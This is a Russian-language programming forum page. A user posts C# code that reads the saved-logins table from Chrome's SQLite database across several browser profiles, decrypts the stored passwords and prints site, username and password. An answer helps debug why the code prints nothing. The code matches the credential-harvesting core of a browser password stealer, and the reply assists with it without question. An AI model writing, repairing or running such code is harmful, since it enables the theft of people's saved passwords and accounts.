Как вытащить таблицу c помощью System.Data.SQLite

302
27 марта 2017, 06:29

Пытаюсь вытащить таблицу (host, login, pass)

public static SQLiteConnection connection;
public static SQLiteDataReader reader;
using (connection = new SQLiteConnection("DataSource=" + EngineChrome.browsers[y] + ";Version=3;New=True;Compress=True;"))
                {
                    connection.Open();
                    SQLiteCommand command = new SQLiteCommand("SELECT * FROM logins", connection);
                    using (reader = command.ExecuteReader())
                    {
                        string host = null;
                        string user = null;
                        string pass = null;
                        while (reader.Read())
                        {
                            host = reader["origin_url"].ToString();
                            user = reader["username_value"].ToString();
                            pass = Chrome.Decrypt(Encoding.Default.GetBytes(reader["password_value"].ToString()));
                            if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
                            {
                                Console.WriteLine("{0},{1},{2}",host,user,pass);
                            }
                        }
                    }
                }

Но на выходе ничего не получаю, [ошибок нету]

Как правильно получить данные?

Answer 1

С точки зрения синтаксиса и логики код корректен.

Как вариант, возможно, что косяк в условии:

   if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
                            {
                                Console.WriteLine("{0},{1},{2}",host,user,pass);
                            }

Быть может в вашей базе нету таких строк, которые удоволитворяют сразу 3-ем условиям?

Или например, вы расшифровываете пароль и получаете NULL.

Попробуйте убрать условие и посмотреть что будет.

Или может быть ошибок нету из-за того, что у вас какой-нибудь глобальный try/catch стоит.

READ ALSO
Узнать, что ранее каталог не был создан

Узнать, что ранее каталог не был создан

Total Commander последней версии умеет делать следующее:

256
C# ClientWebSocket

C# ClientWebSocket

Есть класс:

576
Discord Music Bot C#

Discord Music Bot C#

Добрый день

1321
Не работает запрос MySQL в PHP

Не работает запрос MySQL в PHP

Использую phpMyAdmin, сам запрос там работаетНужно вывести в таблицу собаку, владельца и тип сертификата

347